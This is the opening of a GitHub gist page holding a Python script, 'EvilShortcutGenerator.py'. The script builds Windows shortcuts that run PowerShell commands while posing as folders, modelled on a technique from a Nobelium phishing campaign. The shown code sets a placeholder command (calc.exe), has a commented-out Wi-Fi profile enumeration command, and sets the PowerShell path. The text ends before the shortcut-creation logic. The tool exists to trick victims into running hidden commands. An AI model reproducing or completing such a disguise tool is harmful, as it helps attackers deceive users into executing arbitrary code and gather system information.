Skip to content

Instantly share code, notes, and snippets.

View spicesouls's full-sized avatar
💻

spicesouls

💻
View GitHub Profile
@spicesouls
spicesouls / EvilShortcutGenerator.py
Last active August 4, 2021 16:02
Generates Windows Shortcuts that execute powershell commands while appearing as a folder.
# Generates Windows Shortcuts that execute powershell commands while appearing as a folder.
# ( inspired by the technique used here: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ )
from win32com.client import Dispatch
import codecs, os
COMMAND = "calc.exe" # What you want Powershell to execute
#COMMAND = "netsh wlan show profiles"
BASEPATH = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'